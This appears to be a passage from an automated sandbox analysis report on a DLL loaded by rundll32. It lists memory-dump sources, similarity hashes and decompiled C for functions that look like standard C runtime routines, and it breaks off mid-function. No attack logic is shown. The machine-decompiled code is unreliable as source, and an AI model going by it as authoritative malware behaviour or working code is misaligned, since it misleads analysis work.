Associated: 00000003.00000002.251891282.000000006EF68000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.251940987.000000006EF86000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.251947290.000000006EF87000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.251995168.000000006EF9E000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.252015960.000000006EFA1000.00000002.00020000.sdmp Download File

Similarity

API ID: FileWrite__fassign$ConsoleErrorLast
String ID:
API String ID: 4031098158-0
Opcode ID: 2a54a949e87a1251cdeedfc95fa60c244aa0665da79d220c0606ecdf34af350c
Instruction ID: f3058b2a0ac2de89c5ae787b7f44405fccc3cebc5fe70e8da62ba861da3ee3c2
Opcode Fuzzy Hash: 2a54a949e87a1251cdeedfc95fa60c244aa0665da79d220c0606ecdf34af350c
Instruction Fuzzy Hash: 0BD1DA75D022599FDF01CFE8C8A4AEDFBB5BF89310F24416AE855BB241D731AA02CB50

Uniqueness

Uniqueness Score: -1.00%

Function 6EF5D7C6, Relevance: 9.1, APIs: 6, Instructions: 60
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E6EF5D7C6(void* __ecx) {
				void* _t4;
				void* _t11;
				void* _t16;
				long _t25;
				void* _t28;

				if( *0x6ef860c0 != 0xffffffff) {
					_t25 = GetLastError();
					_t11 = E6EF5DAD7(__eflags,  *0x6ef860c0);
					__eflags = _t11 - 0xffffffff;
					if(_t11 == 0xffffffff) {
						L5:
						_t11 = 0;
					} else {
						__eflags = _t11;
						if(__eflags == 0) {
							_t4 = E6EF5DB12(__eflags,  *0x6ef860c0, 0xffffffff);
							_pop(_t16);
							__eflags = _t4;
							if(_t4 != 0) {
								_push(0x28);
								_push(1);
								_t28 = E6EF5FE6C(_t16);
								__eflags = _t28;
								if(__eflags == 0) {
									L8:
									_t11 = 0;
									E6EF5DB12(__eflags,  *0x6ef860c0, 0);
								} else {
									__eflags = E6EF5DB12(__eflags,  *0x6ef860c0, _t28);
									if(__eflags != 0) {
										_t11 = _t28;
										_t28 = 0;
										__eflags = 0;
									} else {
										goto L8;
									}
								}
								E6EF5E93F(_t28);
							} else {
								goto L5;
							}
						}
					}
					SetLastError(_t25);
					return _t11;
				} else {
					return 0;
				}
			}

APIs

GetLastError.KERNEL32(00000001,?,6EF5D578,6EF5CC5A,6EF5C7BB,?,6EF5C9D8,?,00000001,?,?,00000001,?,6EF84F78,0000000C,6EF5CACC), ref: 6EF5D7D4
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 6EF5D7E2
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 6EF5D7FB
SetLastError.KERNEL32(00000000,6EF5C9D8,?,00000001,?,?,00000001,?,6EF84F78,0000000C,6EF5CACC,?,00000001,?), ref: 6EF5D84D

Memory Dump Source

Source File: 00000003.00000002.251835971.000000006EF42000.00000020.00020000.sdmp, Offset: 6EF40000, based on PE: true

Associated: 00000003.00000002.251820758.000000006EF40000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.251828353.000000006EF41000.00000080.00020000.sdmp Download File
Associated: 00000003.00000002.251891282.000000006EF68000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.251940987.000000006EF86000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.251947290.000000006EF87000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.251995168.000000006EF9E000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.252015960.000000006EFA1000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: ec4200682e20a830fa5074f3d05836b75887af08fdacb52816856f96db23ac78
Instruction ID: 30756733585866e9c70bdcef258f1d13c131bd2f446b3b45e5569e9c50f67a22
Opcode Fuzzy Hash: ec4200682e20a830fa5074f3d05836b75887af08fdacb52816856f96db23ac78
Instruction Fuzzy Hash: 1201D63223AA116F9B4026E96C65B573A6CDFB3379B20022AF110462D0EB1348219B44

Uniqueness

Uniqueness Score: -1.00%

Function 6EF61D1D, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 83
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E6EF61D1D(intOrPtr* _a4, intOrPtr _a8, intOrPtr _a16) {
				intOrPtr _t14;
				intOrPtr _t15;
				intOrPtr _t17;
				intOrPtr _t36;
				intOrPtr* _t38;
				intOrPtr _t39;

				_t38 = _a4;
				if(_t38 != 0) {
					__eflags =  *_t38;
					if( *_t38 != 0) {
						_t14 = E6EF627A9(_a16, 0, _t38, 0xffffffff, 0, 0, 0, 0);
						__eflags = _t14;
						if(__eflags != 0) {
							_t36 = _a8;
							__eflags = _t14 -  *((intOrPtr*)(_t36 + 0xc));
							if(_t14 <=  *((intOrPtr*)(_t36 + 0xc))) {
								L10:
								_t15 = E6EF627A9(_a16, 0, _t38, 0xffffffff,  *((intOrPtr*)(_t36 + 8)),  *((intOrPtr*)(_t36 + 0xc)), 0, 0);
								__eflags = _t15;
								if(__eflags != 0) {
									 *((intOrPtr*)(_t36 + 0x10)) = _t15 - 1;
									_t17 = 0;
									__eflags = 0;
								} else {
									E6EF6016E(GetLastError());
									_t17 =  *((intOrPtr*)(E6EF601A4(__eflags)));
								}
								L13:
								L14:
								return _t17;
							}
							_t17 = E6EF61DE4(_t36, _t14);
							__eflags = _t17;
							if(_t17 != 0) {
								goto L13;
							}
							goto L10;
						}
						E6EF6016E(GetLastError());
						_t17 =  *((intOrPtr*)(E6EF601A4(__eflags)));
						goto L14;
					}
					_t39 = _a8;
					__eflags =  *((intOrPtr*)(_t39 + 0xc));
					if( *((intOrPtr*)(_t39 + 0xc)) != 0) {
						L5:
						 *((char*)( *((intOrPtr*)(_t39 + 8)))) = 0;
						_t17 = 0;
						 *((intOrPtr*)(_t39 + 0x10)) = 0;
						goto L14;
					}
					_t17 = E6EF61DE4(_t39, 1);
					__eflags = _t17;
					if(_t17 != 0) {
						goto L14;
					}
					goto L5;
				}
				E6EF61E0B(_a8);
				return 0;
			}

Strings

C:\Windows\SysWOW64\rundll32.exe, xrefs: 6EF61D22

Memory Dump Source

Source File: 00000003.00000002.251835971.000000006EF42000.00000020.00020000.sdmp, Offset: 6EF40000, based on PE: true

Associated: 00000003.00000002.251820758.000000006EF40000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.251828353.000000006EF41000.00000080.00020000.sdmp Download File
Associated: 00000003.00000002.251891282.000000006EF68000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.251940987.000000006EF86000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.251947290.000000006EF87000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.251995168.000000006EF9E000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.252015960.000000006EFA1000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: C:\Windows\SysWOW64\rundll32.exe
API String ID: 0-2837366778
Opcode ID: d955c863f0614c06a5357d198c833f522de8a882e8043bf853e39c557514b648
Instruction ID: 92f493e46c9668f2bae6926b8d73d6c02e7ab174d5dcc087bca749b302ce43e8
Opcode Fuzzy Hash: d955c863f0614c06a5357d198c833f522de8a882e8043bf853e39c557514b648
Instruction Fuzzy Hash: B9219272614105BFEB509FE5CCA099B77BDAF413A97104A16F8A8D7150EB31EC5487A0

Uniqueness

Uniqueness Score: -1.00%

Function 6EF5F49B, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 31
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 25%

			E6EF5F49B(void* __ecx, intOrPtr _a4) {
				signed int _v8;
				_Unknown_base(*)()* _t8;
				_Unknown_base(*)()* _t14;

				_v8 = _v8 & 0x00000000;
				_t8 =  &_v8;
				__imp__GetModuleHandleExW(0, L"mscoree.dll", _t8, __ecx);
				if(_t8 != 0) {
					_t8 = GetProcAddress(_v8, "CorExitProcess");
					_t14 = _t8;
					if(_t14 != 0) {
						 *0x6ef68124(_a4);
						_t8 =  *_t14();
					}
				}
				if(_v8 != 0) {
					return FreeLibrary(_v8);
				}
				return _t8;
			}

0x6ef5f4a1
0x6ef5f4a5
0x6ef5f4b0
0x6ef5f4b8
0x6ef5f4c3
0x6ef5f4c9
0x6ef5f4cd
0x6ef5f4d4
0x6ef5f4da
0x6ef5f4da
0x6ef5f4dc
0x6ef5f4e1
0x00000000
0x6ef5f4e6
0x6ef5f4ef

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,6EF5F44D,?,?,6EF5F415,?,00000001,?), ref: 6EF5F4B0
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 6EF5F4C3
FreeLibrary.KERNEL32(00000000,?,?,6EF5F44D,?,?,6EF5F415,?,00000001,?), ref: 6EF5F4E6

Strings

mscoree.dll, xrefs: 6EF5F4A9
CorExitProcess, xrefs: 6EF5F4BB

Memory Dump Source

Source File: 00000003.00000002.251835971.000000006EF42000.00000020.00020000.sdmp, Offset: 6EF40000, based on PE: true

Associated: 00000003.00000002.251820758.000000006EF40000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.251828353.000000006EF41000.00000080.00020000.sdmp Download File
Associated: 00000003.00000002.251891282.000000006EF68000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.251940987.000000006EF86000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.251947290.000000006EF87000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.251995168.000000006EF9E000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.252015960.000000006EFA1000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 685d06de6e2fd2617bc17b46de1b6a42e7f30de37adc4897c8eed08611a6bc60
Instruction ID: 26c2da2836b21c19213c86cc39ee8aa7e6d5cd3f621d69c57432f8cd51718f3c
Opcode Fuzzy Hash: 685d06de6e2fd2617bc17b46de1b6a42e7f30de37adc4897c8eed08611a6bc60
Instruction Fuzzy Hash: B7F08232911658FBDFA1AB90CD29BBE7F78EF46311F104098F915E2250CB318E10DB91

Uniqueness

Uniqueness Score: -1.00%

Function 6EF64706, Relevance: 7.5, APIs: 5, Instructions: 40
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E6EF64706(intOrPtr* _a4) {
				intOrPtr _t6;
				intOrPtr* _t21;
				void* _t23;
				void* _t24;
				void* _t25;
				void* _t26;
				void* _t27;

				_t21 = _a4;
				if(_t21 != 0) {
					_t23 =  *_t21 -  *0x6ef86790; // 0x6ef867e0
					if(_t23 != 0) {
						E6EF5FEFF(_t7);
					}
					_t24 =  *((intOrPtr*)(_t21 + 4)) -  *0x6ef86794; // 0x6ef9e7e8
					if(_t24 != 0) {
						E6EF5FEFF(_t8);
					}
					_t25 =  *((intOrPtr*)(_t21 + 8)) -  *0x6ef86798; // 0x6ef9e7e8
					if(_t25 != 0) {
						E6EF5FEFF(_t9);
					}
					_t26 =  *((intOrPtr*)(_t21 + 0x30)) -  *0x6ef867c0; // 0x6ef867e4
					if(_t26 != 0) {
						E6EF5FEFF(_t10);
					}
					_t6 =  *((intOrPtr*)(_t21 + 0x34));
					_t27 = _t6 -  *0x6ef867c4; // 0x6ef9e7ec
					if(_t27 != 0) {
						return E6EF5FEFF(_t6);
					}
				}
				return _t6;
			}

APIs

_free.LIBCMT ref: 6EF6471E

Part of subcall function 6EF5FEFF: RtlFreeHeap.NTDLL(00000000,00000000,?,6EF64799,?,00000000,?,00000000,?,6EF647C0,?,00000007,?,?,6EF64436,?), ref: 6EF5FF15
Part of subcall function 6EF5FEFF: GetLastError.KERNEL32(?,?,6EF64799,?,00000000,?,00000000,?,6EF647C0,?,00000007,?,?,6EF64436,?,?), ref: 6EF5FF27

_free.LIBCMT ref: 6EF64730
_free.LIBCMT ref: 6EF64742
_free.LIBCMT ref: 6EF64754
_free.LIBCMT ref: 6EF64766

Memory Dump Source

Source File: 00000003.00000002.251835971.000000006EF42000.00000020.00020000.sdmp, Offset: 6EF40000, based on PE: true

Associated: 00000003.00000002.251820758.000000006EF40000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.251828353.000000006EF41000.00000080.00020000.sdmp Download File
Associated: 00000003.00000002.251891282.000000006EF68000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.251940987.000000006EF86000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.251947290.000000006EF87000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.251995168.000000006EF9E000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.252015960.000000006EFA1000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: e8746a56dabe47c0f7008d5a0767244da303408796a438a6fd60fa099e188ccd
Instruction ID: 0e798f9457faf222b457cd6b516a09d6c6987a10f23a33ffe1f3ca6e5b5149fb
Opcode Fuzzy Hash: e8746a56dabe47c0f7008d5a0767244da303408796a438a6fd60fa099e188ccd
Instruction Fuzzy Hash: B8F04F325246459B8A90EAD8D1F4C6B37EDFA627207B11C86F05ADBA00CF24F88046E0

Uniqueness

Uniqueness Score: -1.00%

Function 6EF61699, Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 207
COMMON

Download Yara Rule

C-Code - Quality: 81%

			E6EF61699(void* __ebx, void* __edi, void* __esi, signed int* _a4, signed int _a8, intOrPtr _a12) {
				intOrPtr _v0;
				signed int _v6;
				signed int _v8;
				signed int _v12;
				signed int _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				intOrPtr* _v72;
				intOrPtr* _v104;
				intOrPtr* _v108;
				intOrPtr _v112;
				signed int _v124;
				struct _WIN32_FIND_DATAW _v608;
				char _v609;
				intOrPtr* _v616;
				union _FINDEX_INFO_LEVELS _v620;
				union _FINDEX_INFO_LEVELS _v624;
				union _FINDEX_INFO_LEVELS _v628;
				signed int _v632;
				union _FINDEX_INFO_LEVELS _v636;
				union _FINDEX_INFO_LEVELS _v640;
				signed int _v644;
				signed int _v648;
				union _FINDEX_INFO_LEVELS _v652;
				union _FINDEX_INFO_LEVELS _v656;
				union _FINDEX_INFO_LEVELS _v660;
				union _FINDEX_INFO_LEVELS _v664;
				signed int _v668;
				union _FINDEX_INFO_LEVELS _v672;
				union _FINDEX_INFO_LEVELS _v676;
				intOrPtr _v724;
				intOrPtr* _t131;
				signed int _t132;
				signed int _t134;
				signed int _t139;
				signed int _t140;
				intOrPtr* _t150;
				signed int _t152;
				intOrPtr _t153;
				signed int _t157;
				signed int _t159;
				signed int _t164;
				signed int _t166;
				char _t168;
				signed char _t169;
				signed int _t175;
				union _FINDEX_INFO_LEVELS _t179;
				signed int _t185;
				union _FINDEX_INFO_LEVELS _t188;
				intOrPtr* _t196;
				signed int _t199;
				intOrPtr _t205;
				signed int _t207;
				signed int _t210;
				signed int _t212;
				signed int _t213;
				signed int _t214;
				signed int _t216;
				signed int _t218;
				signed int _t219;
				signed int* _t220;
				signed int _t223;
				void* _t226;
				union _FINDEX_INFO_LEVELS _t227;
				intOrPtr _t230;
				signed int _t233;
				signed int _t234;
				signed int _t235;
				signed int _t237;
				intOrPtr* _t240;
				signed int _t242;
				intOrPtr* _t245;
				signed int _t250;
				signed int _t256;
				signed int _t258;
				signed int _t264;
				intOrPtr* _t265;
				signed int _t273;
				signed int _t275;
				intOrPtr* _t276;
				void* _t278;
				intOrPtr* _t279;
				signed int _t282;
				signed int _t285;
				signed int _t287;
				intOrPtr _t289;
				signed int* _t294;
				signed int _t295;
				signed int _t297;
				signed int _t298;
				signed int _t299;
				signed int _t301;
				void* _t302;
				void* _t303;
				signed int _t305;
				void* _t309;
				signed int _t310;
				void* _t311;
				void* _t312;
				void* _t313;
				signed int _t314;
				void* _t315;
				void* _t316;

				_t131 = _a8;
				_t312 = _t311 - 0x28;
				_t320 = _t131;
				if(_t131 != 0) {
					_t294 = _a4;
					_t223 = 0;
					 *_t131 = 0;
					_t285 = 0;
					_t132 =  *_t294;
					_t233 = 0;
					_v608.cAlternateFileName = 0;
					_v40 = 0;
					_v36 = 0;
					__eflags = _t132;
					if(_t132 == 0) {
						L9:
						_v8 = _t223;
						_t134 = _t233 - _t285;
						_t295 = _t285;
						_v12 = _t295;
						_t272 = (_t134 >> 2) + 1;
						_t136 = _t134 + 3 >> 2;
						__eflags = _t233 - _t295;
						_v16 = (_t134 >> 2) + 1;
						asm("sbb esi, esi");
						_t297 =  !_t295 & _t134 + 0x00000003 >> 0x00000002;
						__eflags = _t297;
						if(_t297 != 0) {
							_t214 = _t285;
							_t282 = _t223;
							do {
								_t265 =  *_t214;
								_t20 = _t265 + 1; // 0x1
								_v20 = _t20;
								do {
									_t216 =  *_t265;
									_t265 = _t265 + 1;
									__eflags = _t216;
								} while (_t216 != 0);
								_t223 = _t223 + 1 + _t265 - _v20;
								_t214 = _v12 + 4;
								_t282 = _t282 + 1;
								_v12 = _t214;
								__eflags = _t282 - _t297;
							} while (_t282 != _t297);
							_t272 = _v16;
							_v8 = _t223;
							_t223 = 0;
							__eflags = 0;
						}
						_t298 = E6EF5F7DC(_t136, _t272, _v8, 1);
						_t313 = _t312 + 0xc;
						__eflags = _t298;
						if(_t298 != 0) {
							_v12 = _t285;
							_t139 = _t298 + _v16 * 4;
							_t234 = _t139;
							_v28 = _t139;
							_t140 = _t285;
							_v16 = _t234;
							__eflags = _t140 - _v40;
							if(_t140 == _v40) {
								L24:
								_v12 = _t223;
								 *_a8 = _t298;
								_t299 = _t223;
								goto L25;
							} else {
								_t275 = _t298 - _t285;
								__eflags = _t275;
								_v32 = _t275;
								do {
									_t150 =  *_t140;
									_t276 = _t150;
									_v24 = _t150;
									_v20 = _t276 + 1;
									do {
										_t152 =  *_t276;
										_t276 = _t276 + 1;
										__eflags = _t152;
									} while (_t152 != 0);
									_t153 = _t276 - _v20 + 1;
									_push(_t153);
									_v20 = _t153;
									_t157 = E6EF64A43(_t234, _v28 - _t234 + _v8, _v24);
									_t313 = _t313 + 0x10;
									__eflags = _t157;
									if(_t157 != 0) {
										_push(_t223);
										_push(_t223);
										_push(_t223);
										_push(_t223);
										_push(_t223);
										E6EF600F7();
										asm("int3");
										_t309 = _t313;
										_push(_t234);
										_t240 = _v72;
										_t65 = _t240 + 1; // 0x1
										_t278 = _t65;
										do {
											_t159 =  *_t240;
											_t240 = _t240 + 1;
											__eflags = _t159;
										} while (_t159 != 0);
										_push(_t285);
										_t287 = _a8;
										_t242 = _t240 - _t278 + 1;
										_v12 = _t242;
										__eflags = _t242 -  !_t287;
										if(_t242 <=  !_t287) {
											_push(_t223);
											_push(_t298);
											_t68 = _t287 + 1; // 0x1
											_t226 = _t68 + _t242;
											_t302 = E6EF601B7(_t242, _t226, 1);
											__eflags = _t287;
											if(_t287 == 0) {
												L40:
												_push(_v12);
												_t226 = _t226 - _t287;
												_t164 = E6EF64A43(_t302 + _t287, _t226, _v0);
												_t314 = _t313 + 0x10;
												__eflags = _t164;
												if(_t164 != 0) {
													goto L45;
												} else {
													_t230 = _a12;
													_t207 = E6EF61C8B(_t230);
													_v12 = _t207;
													__eflags = _t207;
													if(_t207 == 0) {
														 *( *(_t230 + 4)) = _t302;
														_t305 = 0;
														_t77 = _t230 + 4;
														 *_t77 =  *(_t230 + 4) + 4;
														__eflags =  *_t77;
													} else {
														E6EF5FEFF(_t302);
														_t305 = _v12;
													}
													E6EF5FEFF(0);
													_t210 = _t305;
													goto L37;
												}
											} else {
												_push(_t287);
												_t212 = E6EF64A43(_t302, _t226, _a4);
												_t314 = _t313 + 0x10;
												__eflags = _t212;
												if(_t212 != 0) {
													L45:
													_push(0);
													_push(0);
													_push(0);
													_push(0);
													_push(0);
													E6EF600F7();
													asm("int3");
													_push(_t309);
													_t310 = _t314;
													_t315 = _t314 - 0x298;
													_t166 =  *0x6ef8609c; // 0xebcc447c
													_v124 = _t166 ^ _t310;
													_t245 = _v108;
													_t279 = _v104;
													_push(_t226);
													_push(0);
													_t289 = _v112;
													_v724 = _t279;
													__eflags = _t245 - _t289;
													if(_t245 != _t289) {
														while(1) {
															_t205 =  *_t245;
															__eflags = _t205 - 0x2f;
															if(_t205 == 0x2f) {
																break;
															}
															__eflags = _t205 - 0x5c;
															if(_t205 != 0x5c) {
																__eflags = _t205 - 0x3a;
																if(_t205 != 0x3a) {
																	_t245 = E6EF64A90(_t289, _t245);
																	__eflags = _t245 - _t289;
																	if(_t245 != _t289) {
																		continue;
																	}
																}
															}
															break;
														}
														_t279 = _v616;
													}
													_t168 =  *_t245;
													_v609 = _t168;
													__eflags = _t168 - 0x3a;
													if(_t168 != 0x3a) {
														L56:
														_t227 = 0;
														__eflags = _t168 - 0x2f;
														if(__eflags == 0) {
															L59:
															_t169 = 1;
														} else {
															__eflags = _t168 - 0x5c;
															if(__eflags == 0) {
																goto L59;
															} else {
																__eflags = _t168 - 0x3a;
																_t169 = 0;
																if(__eflags == 0) {
																	goto L59;
																}
															}
														}
														_v676 = _t227;
														_v672 = _t227;
														_push(_t302);
														asm("sbb eax, eax");
														_v668 = _t227;
														_v664 = _t227;
														_v644 =  ~(_t169 & 0x000000ff) & _t245 - _t289 + 0x00000001;
														_v660 = _t227;
														_v656 = _t227;
														_t175 = E6EF6167A(_t245 - _t289 + 1, _t289,  &_v676, E6EF61B96(_t279, __eflags));
														_t316 = _t315 + 0xc;
														asm("sbb eax, eax");
														_t179 = FindFirstFileExW( !( ~_t175) & _v668, _t227,  &_v608, _t227, _t227, _t227);
														_t303 = _t179;
														__eflags = _t303 - 0xffffffff;
														if(_t303 != 0xffffffff) {
															_t250 =  *((intOrPtr*)(_v616 + 4)) -  *_v616;
															__eflags = _t250;
															_v648 = _t250 >> 2;
															do {
																_v640 = _t227;
																_v636 = _t227;
																_v632 = _t227;
																_v628 = _t227;
																_v624 = _t227;
																_v620 = _t227;
																_t185 = E6EF615AB( &(_v608.cFileName),  &_v640,  &_v609, E6EF61B96(_t279, __eflags));
																_t316 = _t316 + 0x10;
																asm("sbb eax, eax");
																_t188 =  !( ~_t185) & _v632;
																__eflags =  *_t188 - 0x2e;
																if( *_t188 != 0x2e) {
																	L67:
																	_push(_v616);
																	_push(_v644);
																	_push(_t289);
																	_push(_t188);
																	L33();
																	_t316 = _t316 + 0x10;
																	_v652 = _t188;
																	__eflags = _t188;
																	if(_t188 != 0) {
																		__eflags = _v620 - _t227;
																		if(_v620 != _t227) {
																			E6EF5FEFF(_v632);
																			_t188 = _v652;
																		}
																		_t227 = _t188;
																	} else {
																		goto L68;
																	}
																} else {
																	_t256 =  *((intOrPtr*)(_t188 + 1));
																	__eflags = _t256;
																	if(_t256 == 0) {
																		goto L68;
																	} else {
																		__eflags = _t256 - 0x2e;
																		if(_t256 != 0x2e) {
																			goto L67;
																		} else {
																			__eflags =  *((intOrPtr*)(_t188 + 2)) - _t227;
																			if( *((intOrPtr*)(_t188 + 2)) == _t227) {
																				goto L68;
																			} else {
																				goto L67;
																			}
																		}
																	}
																}
																L76:
																FindClose(_t303);
																goto L77;
																L68:
																__eflags = _v620 - _t227;
																if(_v620 != _t227) {
																	E6EF5FEFF(_v632);
																}
																__eflags = FindNextFileW(_t303,  &_v608);
															} while (__eflags != 0);
															_t196 = _v616;
															_t258 = _v648;
															_t280 =  *_t196;
															_t199 =  *((intOrPtr*)(_t196 + 4)) -  *_t196 >> 2;
															__eflags = _t258 - _t199;
															if(_t258 != _t199) {
																E6EF5EB90(_t227, _t289, _t303, _t280 + _t258 * 4, _t199 - _t258, 4, E6EF614E1);
															}
															goto L76;
														} else {
															_push(_v616);
															_push(_t227);
															_push(_t227);
															_push(_t289);
															L33();
															_t227 = _t179;
														}
														L77:
														__eflags = _v656;
														if(_v656 != 0) {
															E6EF5FEFF(_v668);
														}
													} else {
														__eflags = _t245 - _t289 + 1;
														if(_t245 == _t289 + 1) {
															_t168 = _v609;
															goto L56;
														} else {
															_push(_t279);
															_push(0);
															_push(0);
															_push(_t289);
															L33();
														}
													}
													__eflags = _v16 ^ _t310;
													return E6EF5C65E(_v16 ^ _t310);
												} else {
													goto L40;
												}
											}
										} else {
											_t210 = 0xc;
											L37:
											return _t210;
										}
									} else {
										goto L23;
									}
									goto L81;
									L23:
									_t213 = _v12;
									_t264 = _v16;
									 *((intOrPtr*)(_v32 + _t213)) = _t264;
									_t140 = _t213 + 4;
									_t234 = _t264 + _v20;
									_v16 = _t234;
									_v12 = _t140;
									__eflags = _t140 - _v40;
								} while (_t140 != _v40);
								goto L24;
							}
						} else {
							_t299 = _t298 | 0xffffffff;
							_v12 = _t299;
							L25:
							E6EF5FEFF(_t223);
							_pop(_t235);
							goto L26;
						}
					} else {
						while(1) {
							_v8 = 0x3f2a;
							_v6 = _t223;
							_t218 = E6EF64A50(_t132,  &_v8);
							_t235 =  *_t294;
							__eflags = _t218;
							if(_t218 != 0) {
								_push( &(_v608.cAlternateFileName));
								_push(_t218);
								_push(_t235);
								L46();
								_t312 = _t312 + 0xc;
								_v12 = _t218;
								_t299 = _t218;
							} else {
								_t219 =  &(_v608.cAlternateFileName);
								_push(_t219);
								_push(_t223);
								_push(_t223);
								_push(_t235);
								L33();
								_t299 = _t219;
								_t312 = _t312 + 0x10;
								_v12 = _t299;
							}
							__eflags = _t299;
							if(_t299 != 0) {
								break;
							}
							_t294 =  &(_a4[1]);
							_a4 = _t294;
							_t132 =  *_t294;
							__eflags = _t132;
							if(_t132 != 0) {
								continue;
							} else {
								_t285 = _v608.cAlternateFileName;
								_t233 = _v40;
								goto L9;
							}
							goto L81;
						}
						_t285 = _v608.cAlternateFileName;
						L26:
						_t273 = _t285;
						_v32 = _t273;
						__eflags = _v40 - _t273;
						asm("sbb ecx, ecx");
						_t237 =  !_t235 & _v40 - _t273 + 0x00000003 >> 0x00000002;
						__eflags = _t237;
						_v28 = _t237;
						if(_t237 != 0) {
							_t301 = _t237;
							do {
								E6EF5FEFF( *_t285);
								_t223 = _t223 + 1;
								_t285 = _t285 + 4;
								__eflags = _t223 - _t301;
							} while (_t223 != _t301);
							_t285 = _v608.cAlternateFileName;
							_t299 = _v12;
						}
						E6EF5FEFF(_t285);
						goto L31;
					}
				} else {
					_t220 = E6EF601A4(_t320);
					_t299 = 0x16;
					 *_t220 = _t299;
					E6EF600E7();
					L31:
					return _t299;
				}
				L81:
			}

APIs

_free.LIBCMT ref: 6EF61833

Strings

*?, xrefs: 6EF616DC

Memory Dump Source

Source File: 00000003.00000002.251835971.000000006EF42000.00000020.00020000.sdmp, Offset: 6EF40000, based on PE: true

Associated: 00000003.00000002.251820758.000000006EF40000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.251828353.000000006EF41000.00000080.00020000.sdmp Download File
Associated: 00000003.00000002.251891282.000000006EF68000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.251940987.000000006EF86000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.251947290.000000006EF87000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.251995168.000000006EF9E000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.252015960.000000006EFA1000.00000002.00020000.sdmp Download File

Similarity

API ID: _free
String ID: *?
API String ID: 269201875-2564092906
Opcode ID: 834d10d10cefc13e59b5b3ede005935d13e01a0ad1254e615dddca7c9f39287c
Instruction ID: a53b688220c79fea4119f39108fd42244d2c3e5f6eaabec2112f6f84b6cc2225
Opcode Fuzzy Hash: 834d10d10cefc13e59b5b3ede005935d13e01a0ad1254e615dddca7c9f39287c
Instruction Fuzzy Hash: 9B614D76E042199FDB14CFE9C8905EDFBF9EF48314B2481AAD818E7304D735AE458B90

Uniqueness

Uniqueness Score: -1.00%

Function 6EF615AB, Relevance: 6.1, APIs: 4, Instructions: 86
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E6EF615AB(intOrPtr* _a4, intOrPtr _a8, intOrPtr _a16) {
				intOrPtr _t16;
				intOrPtr _t17;
				intOrPtr _t19;
				intOrPtr _t29;
				char _t31;
				intOrPtr _t38;
				intOrPtr* _t40;
				intOrPtr _t41;

				_t40 = _a4;
				if(_t40 != 0) {
					_t31 = 0;
					__eflags =  *_t40;
					if( *_t40 != 0) {
						_t16 = E6EF627A9(_a16, 0, _t40, 0xffffffff, 0, 0, 0, 0);
						__eflags = _t16;
						if(__eflags != 0) {
							_t38 = _a8;
							__eflags = _t16 -  *((intOrPtr*)(_t38 + 0xc));
							if(__eflags <= 0) {
								L11:
								_t17 = E6EF627A9(_a16, _t31, _t40, 0xffffffff,  *((intOrPtr*)(_t38 + 8)),  *((intOrPtr*)(_t38 + 0xc)), _t31, _t31);
								__eflags = _t17;
								if(__eflags != 0) {
									 *((intOrPtr*)(_t38 + 0x10)) = _t17 - 1;
									_t19 = 0;
									__eflags = 0;
								} else {
									E6EF6016E(GetLastError());
									_t19 =  *((intOrPtr*)(E6EF601A4(__eflags)));
								}
								L14:
								return _t19;
							}
							_t19 = E6EF61BF1(_t38, __eflags, _t16);
							__eflags = _t19;
							if(_t19 != 0) {
								goto L14;
							}
							goto L11;
						}
						E6EF6016E(GetLastError());
						return  *((intOrPtr*)(E6EF601A4(__eflags)));
					}
					_t41 = _a8;
					__eflags =  *((intOrPtr*)(_t41 + 0xc));
					if(__eflags != 0) {
						L6:
						 *((char*)( *((intOrPtr*)(_t41 + 8)))) = _t31;
						L2:
						 *((intOrPtr*)(_t41 + 0x10)) = _t31;
						return 0;
					}
					_t29 = E6EF61BF1(_t41, __eflags, 1);
					__eflags = _t29;
					if(_t29 != 0) {
						return _t29;
					}
					goto L6;
				}
				_t41 = _a8;
				E6EF61BD7(_t41);
				_t31 = 0;
